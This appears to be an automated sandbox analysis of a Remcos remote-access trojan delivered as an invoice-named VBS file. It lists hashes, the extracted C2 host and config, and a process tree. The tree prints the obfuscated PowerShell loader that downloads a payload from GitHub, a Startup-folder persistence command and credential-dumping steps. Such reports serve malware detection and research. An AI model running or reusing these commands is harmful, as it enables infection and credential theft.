Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-10-2024 11:09

General

  • Target

    KATUNJANIND.O.O.HercegNoviEUR1561320241003.vbs

  • Size

    486KB

  • MD5

    bfe8bd92459f45bda7c2144a9ae3ad70

  • SHA1

    5c8a674b4dec5b7c6bfe579d5ba7c30bd426b66f

  • SHA256

    705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139

  • SHA512

    fbd3c5fa3bf90cec9227912c203898870716d0cb50b0a6caade19aaf4493dce3cc4a7c1a77c713fe8963159d3195837ca1ef6dcfde8700fceed633aa7c3e7d06

  • SSDEEP

    12288:KZejbep/wU35vTs06uFBRBzPupRWdOrDt/bDqPm3hqekZEeWZCmHFLCCAYpdStSU:NX2oZLRgIZ2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

NEWS

C2

ab9001.ddns.net:35890

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    vlc.exe

  • copy_folder

    vlc

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • keylog_path

    %UserProfile%

  • mouse_option

    false

  • mutex

    Rmc-YJH0WY

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    reg

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KATUNJANIND.O.O.HercegNoviEUR1561320241003.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:3904
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\KATUNJANIND.O.O.HercegNoviEUR1561320241003.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:4528
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3056
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\KATUNJANIND.O.O.HercegNoviEUR1561320241003.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aUV4ICgoJ2wnKydjJysnWicrJ3VybCA9JysnIFU4Y2h0dHAnKydzOi8vJysncmF3LicrJ2dpdCcrJ2h1YicrJ3UnKydzZXInKydjbycrJ250JysnZW50LmNvbS8nKydOb0RldGVjdE9uL05vRGV0ZScrJ2N0TycrJ24vcmVmcy8nKydoZScrJ2FkcycrJy9tYWluL0RlJysndGEnKydoTm90JysnaC1WLnR4dCcrJ1U4YzsgJysnbGMnKydaYmFzZTY0JysnQ28nKydudGVudCA9ICcrJyhOZXctT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2wnKydpZW50KS5Eb3cnKyduJysnbG9hJysnZFN0cmknKyduZygnKydsYycrJ1p1cmwnKycpJysnOyBsJysnY1piaW5hcnlDb250ZScrJ250ID0gW1MnKyd5JysncycrJ3RlbS5DbycrJ252ZXInKyd0XTonKyc6JysnRnJvbUJhJysnc2UnKyc2JysnNFN0cmluZyhsY1onKydiYXNlNjRDb250ZW4nKyd0KScrJzsnKycgbGNaYXNzJysnZW0nKydibHkgJysnPSBbJysnUmVmbCcrJ2VjdGknKydvbi5BcycrJ3NlbWJseV06OkxvJysnYWQobCcrJ2MnKydaJysnYmluJysnYXJ5JysnQ29udGVuJysndCknKyc7JysnIFtkbmxpYi4nKydJTy5Ib20nKydlJysnXTo6JysnVkFJKFI3ODAnKycvQ28nKydoJysnblUvZC8nKydlZS5lJysndCcrJ3NhcC8nKycvOnNwdHQnKydoUicrJzc4LCBSNzhkZXMnKydhdCcrJ2knKyd2YWRvUjc4LCcrJyBSNycrJzgnKydkZXNhdGknKyd2JysnYWQnKydvUjc4LCAnKydSNzhkZXNhJysndCcrJ2knKyd2YWRvUjc4JysnLCBSNycrJzhBZGRJblAnKydyb2Nlc3MzMlInKyc3OCwgUjc4UicrJzc4LFI3OFI3OCcrJyknKS5yRXBsYWNFKCdsY1onLFtzdHJJTkddW0NIQXJdMzYpLnJFcGxhY0UoKFtDSEFyXTg1K1tDSEFyXTU2K1tDSEFyXTk5KSxbc3RySU5HXVtDSEFyXTM5KS5yRXBsYWNFKChbQ0hBcl04MitbQ0hBcl01NStbQ0hBcl01NiksW3N0cklOR11bQ0hBcl0zNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iEx (('l'+'c'+'Z'+'url ='+' U8chttp'+'s://'+'raw.'+'git'+'hub'+'u'+'ser'+'co'+'nt'+'ent.com/'+'NoDetectOn/NoDete'+'ctO'+'n/refs/'+'he'+'ads'+'/main/De'+'ta'+'hNot'+'h-V.txt'+'U8c; '+'lc'+'Zbase64'+'Co'+'ntent = '+'(New-Object S'+'ystem.Net.WebCl'+'ient).Dow'+'n'+'loa'+'dStri'+'ng('+'lc'+'Zurl'+')'+'; l'+'cZbinaryConte'+'nt = [S'+'y'+'s'+'tem.Co'+'nver'+'t]:'+':'+'FromBa'+'se'+'6'+'4String(lcZ'+'base64Conten'+'t)'+';'+' lcZass'+'em'+'bly '+'= ['+'Refl'+'ecti'+'on.As'+'sembly]::Lo'+'ad(l'+'c'+'Z'+'bin'+'ary'+'Conten'+'t)'+';'+' [dnlib.'+'IO.Hom'+'e'+']::'+'VAI(R780'+'/Co'+'h'+'nU/d/'+'ee.e'+'t'+'sap/'+'/:sptt'+'hR'+'78, R78des'+'at'+'i'+'vadoR78,'+' R7'+'8'+'desati'+'v'+'ad'+'oR78, '+'R78desa'+'t'+'i'+'vadoR78'+', R7'+'8AddInP'+'rocess32R'+'78, R78R'+'78,R78R78'+')').rEplacE('lcZ',[strING][CHAr]36).rEplacE(([CHAr]85+[CHAr]56+[CHAr]99),[strING][CHAr]39).rEplacE(([CHAr]82+[CHAr]55+[CHAr]56),[strING][CHAr]34) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4668
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1560
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\byylnfguhehnxfcqhynkmjtpdh"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:572
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\msedoyrnduzszlqcqizdxongmnfbfg"
            5⤵
              PID:1940
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\msedoyrnduzszlqcqizdxongmnfbfg"
              5⤵
                PID:4164
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\msedoyrnduzszlqcqizdxongmnfbfg"
                5⤵
                • Accesses Microsoft Outlook accounts
                • System Location Discovery: System Language Discovery
                PID:60
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\wujwoqbprdrxkznghtufaaipnuokgrhqq"
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4416

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        77d622bb1a5b250869a3238b9bc1402b

        SHA1

        d47f4003c2554b9dfc4c16f22460b331886b191b

        SHA256

        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

        SHA512

        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        113ec220ca266277e49fb684701c0e15

        SHA1

        0421322b3fca8a059845bb2a5896128d96ddcdd3

        SHA256

        d46df818627da156b8f01748845bde20cc45a168ac3e65640280fa7dd3ebf760

        SHA512

        1eeee7125ebfd5c86f36cc290ddb86a083da6133de799a49cf0fb13f7dd436f6168bdd41c7ce353f459b6875767020f3215e5cfc31a4077b016e0be0ec8f486c

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dnvvbkkn.oar.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\byylnfguhehnxfcqhynkmjtpdh

        Filesize

        4KB

        MD5

        15e28d82a9ee8a45c10bcf671fef0362

        SHA1

        2b126b086a1191cb8b4d444e87781358d51af3a4

        SHA256

        012fbb5f15d52a9560cf0e77fd36837ec2c56aff7a989d31c3d40d4f6df6cf9d

        SHA512

        3dd749523858a54e7e5ededba47d54715c9d5663dd0bd609363de7442436d1f0e924c5e4706e3ac413b79ddb6a18c796cc0ad166b4c87a3a7a6b009ba77fee82

      • C:\Users\Admin\remcos\logs.dat

        Filesize

        144B

        MD5

        7ca642cd00d27079f5ec2fa12196554f

        SHA1

        09d5ae3ec077e234bd34980e8e1527e416ec9754

        SHA256

        c55ee1dbc0f789638fb800af01152b43290d53838f2f50188ae4a2ba895c1954

        SHA512

        69a469445a94924b6957004f05785fc3d2e8d136ce35ed5daa5ae0f496afb68fe78fe3254dd4e213d4fbd8f7c4805beab6e86c7e2c8f1de7cb7cbe3b907cb20b

      • memory/60-66-0x0000000000400000-0x0000000000457000-memory.dmp

        Filesize

        348KB

      • memory/60-59-0x0000000000400000-0x0000000000457000-memory.dmp

        Filesize

        348KB

      • memory/60-62-0x0000000000400000-0x0000000000457000-memory.dmp

        Filesize

        348KB

      • memory/572-58-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/572-65-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/572-60-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/1560-39-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-78-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-47-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-48-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-49-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-50-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-52-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-51-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-55-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-57-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-43-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-103-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-102-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-94-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-95-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-86-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-87-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-79-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-44-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/1560-72-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3460-12-0x00007FFC09E50000-0x00007FFC0A911000-memory.dmp

        Filesize

        10.8MB

      • memory/3460-2-0x00000170452E0000-0x0000017045302000-memory.dmp

        Filesize

        136KB

      • memory/3460-13-0x00007FFC09E50000-0x00007FFC0A911000-memory.dmp

        Filesize

        10.8MB

      • memory/3460-14-0x00007FFC09E50000-0x00007FFC0A911000-memory.dmp

        Filesize

        10.8MB

      • memory/3460-17-0x00007FFC09E50000-0x00007FFC0A911000-memory.dmp

        Filesize

        10.8MB

      • memory/3460-1-0x00007FFC09E53000-0x00007FFC09E55000-memory.dmp

        Filesize

        8KB

      • memory/4416-64-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/4416-63-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/4416-61-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/4668-38-0x000001BF9A790000-0x000001BF9A9B0000-memory.dmp

        Filesize

        2.1MB